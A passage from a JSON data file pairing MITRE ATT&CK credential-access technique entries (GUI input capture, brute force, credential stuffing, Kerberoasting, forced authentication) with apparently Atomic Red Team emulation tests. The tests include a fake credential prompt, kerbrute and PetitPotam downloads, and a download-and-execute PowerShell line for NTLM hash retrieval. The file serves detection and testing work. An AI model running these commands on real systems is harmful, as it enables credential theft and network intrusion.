- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Molyett, @s1air, Cisco Talos"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
- "type": "attack-pattern",
- "created": "2020-02-11T18:58:45.908Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.002",
- "url": "https://attack.mitre.org/techniques/T1056/002"
- },
- {
- "external_id": "CAPEC-659",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/659.html"
- },
- {
- "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
- "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
- "source_name": "OSX Malware Exploits MacKeeper"
- },
- {
- "source_name": "LogRhythm Do You Trust Oct 2014",
- "url": "https://logrhythm.com/blog/do-you-trust-your-computer/",
- "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- },
- {
- "source_name": "Spoofing credential dialogs",
- "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/",
- "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021."
- },
- {
- "source_name": "Enigma Phishing for Credentials Jan 2015",
- "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/",
- "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."
- }
- ],
- "modified": "2022-03-08T21:05:20.136Z",
- "name": "Input Capture: GUI Input Capture",
- "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1056.002"
- },
- "atomic_tests": [
- {
- "name": "PowerShell - Prompt User for Password",
- "auto_generated_guid": "2b162bfd-0928-4d4c-9ec3-4d9f88374b52",
- "description": "Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.\n\nReference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "# Creates GUI to prompt for password. Expect long pause before prompt is available. \n$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning $cred.GetNetworkCredential().Password\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1110": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "David Fiser, @anu4is, Trend Micro",
- "Alfredo Oliveira, Trend Micro",
- "Magno Logan, @magnologan, Trend Micro",
- "Yossi Weizman, Azure Defender Research Team",
- "Ed Williams, Trustwave, SpiderLabs",
- "Mohamed Kmal"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
- "created": "2017-05-31T21:31:22.767Z",
- "x_mitre_version": "2.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1110",
- "url": "https://attack.mitre.org/techniques/T1110"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/49.html",
- "source_name": "capec",
- "external_id": "CAPEC-49"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.",
- "modified": "2022-04-19T21:28:49.481Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Brute Force",
- "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "User Account: User Account Authentication",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1110.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Diogo Fernandes",
- "Anastasios Pingios"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc",
- "type": "attack-pattern",
- "created": "2020-02-11T18:39:59.959Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1110.004",
- "url": "https://attack.mitre.org/techniques/T1110/004"
- },
- {
- "external_id": "CAPEC-600",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/600.html"
- },
- {
- "source_name": "US-CERT TA18-068A 2018",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
- "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
- }
- ],
- "modified": "2021-04-06T12:31:06.695Z",
- "name": "Brute Force: Credential Stuffing",
- "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "User Account: User Account Authentication"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1110.004"
- },
- "atomic_tests": [
- {
- "name": "Brute Force:Credential Stuffing using Kerbrute Tool",
- "auto_generated_guid": "4852c630-87a9-409b-bb5e-5dc12c9ebcde",
- "description": "Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domaincontroller": {
- "description": "Domain controller where test will be run",
- "type": "string",
- "default": "$ENV:userdnsdomain"
- },
- "domain": {
- "description": "Domain where you will be testing",
- "type": "string",
- "default": "$ENV:userdomain"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "kerbrute.exe must exist in $env:temp\n",
- "prereq_command": "if (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:temp\\kerbrute.exe\"\n"
- },
- {
- "description": "bruteforce.txt must exist in $env:temp\n",
- "prereq_command": "if (test-path $env:temp\\bruteforce.txt){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.004/src/bruteforce.txt?raw=true\" -outfile \"$env:temp\\bruteforce.txt\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "cd $env:temp\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} $env:temp\\bruteforce.txt \n"
- }
- }
- ]
- },
- "T1208": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1208",
- "url": "https://attack.mitre.org/techniques/T1208"
- },
- {
- "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
- "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
- "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms677949.aspx",
- "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
- "source_name": "Microsoft SPN"
- },
- {
- "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
- "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
- "source_name": "Microsoft SetSPN"
- },
- {
- "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
- "source_name": "SANS Attacking Kerberos Nov 2014",
- "url": "https://redsiege.com/kerberoast-slides"
- },
- {
- "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
- "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
- "source_name": "Harmj0y Kerberoast Nov 2016"
- },
- {
- "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1",
- "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
- "source_name": "Empire InvokeKerberoast Oct 2016"
- },
- {
- "url": "https://adsecurity.org/?p=2293",
- "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
- "source_name": "AdSecurity Cracking Kerberos Dec 2015"
- }
- ],
- "modified": "2020-10-20T19:30:10.297Z",
- "name": "Kerberoasting",
- "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Valid domain account or the ability to sniff traffic within a domain."
- ]
- },
- "atomic_tests": []
- },
- "T1187": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Teodor Cimpoesu",
- "Sudhanshu Chauhan, @Sudhanshu_C"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1187",
- "url": "https://attack.mitre.org/techniques/T1187"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
- "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
- "source_name": "Wikipedia Server Message Block"
- },
- {
- "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/",
- "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
- "source_name": "Didier Stevens WebDAV Traffic"
- },
- {
- "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
- "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.",
- "source_name": "Microsoft Managing WebDAV Security"
- },
- {
- "url": "https://github.com/hob0/hashjacking",
- "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
- "source_name": "GitHub Hashjacking"
- },
- {
- "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf",
- "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
- "source_name": "Cylance Redirect to SMB"
- },
- {
- "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/",
- "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
- "source_name": "Osanda Stealing NetNTLM Hashes"
- },
- {
- "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
- "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
- "source_name": "US-CERT APT Energy Oct 2017"
- }
- ],
- "modified": "2020-06-19T17:16:41.470Z",
- "name": "Forced Authentication",
- "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm
to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png
that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Network Traffic: Network Traffic Flow",
- "File: File Modification",
- "File: File Creation",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1187"
- },
- "atomic_tests": [
- {
- "name": "PetitPotam",
- "auto_generated_guid": "485ce873-2e65-4706-9c7e-ae3ab9e14213",
- "description": "This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "captureServerIP": {
- "description": "Computer IP to use to receive the authentication (ex. attacker machine used for NTLM relay)",
- "type": "string",
- "default": "10.0.0.3"
- },
- "targetServerIP": {
- "description": "Computer IP to force authentication from (ex. domain controller)",
- "type": "string",
- "default": "10.0.0.2"
- },
- "efsApi": {
- "description": "EFS API to use to coerce authentication",
- "type": "string",
- "default": 1
- },
- "petitpotam_path": {
- "description": "PetitPotam Windows executable",
- "type": "path",
- "default": "$env:TEMP\\PetitPotam.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).\nAnd the computer must be domain joined (implicit authentication).\n",
- "prereq_command": "if (Test-Path \"#{petitpotam_path}\") { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true\" -OutFile \"#{petitpotam_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "& \"#{petitpotam_path}\" #{captureServerIP} #{targetServerIP} #{efsApi}\nWrite-Host \"End of PetitPotam attack\"\n"
- }
- },
- {
- "name": "WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS",
- "auto_generated_guid": "7f06b25c-799e-40f1-89db-999c9cc84317",
- "description": "PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1')\nInvoke-Internalmonologue -command \"-Downgrade true -impersonate true -restore true\"",
- "name": "powershell"
- }
- }
- ]
- },
- "T1174": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1174",
- "url": "https://attack.mitre.org/techniques/T1174"
- },
- {
- "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
- "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
- "source_name": "Carnal Ownage Password Filters Sept 2013"
- },
- {
- "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
- "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
- "source_name": "Clymb3r Function Hook Passwords Sept 2013"
- }
- ],
- "modified": "2020-02-11T19:06:18.818Z",
- "name": "Password Filter DLL",
- "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1081": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Threat Intelligence Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:02.188Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1081",
- "url": "https://attack.mitre.org/techniques/T1081"
- },
- {
- "external_id": "CAPEC-639",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/639.html"
- },
- {
- "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
- "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
- "source_name": "CG 2014"
- },
- {
- "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
- "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
- "source_name": "SRD GPP"
- },
- {
- "source_name": "Specter Ops - Cloud Credential Storage",
- "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48",
- "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."
- }
- ],
- "modified": "2021-03-08T10:33:00.910Z",
- "name": "Credentials in Files",
- "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",
- "x_mitre_version": "1.2",
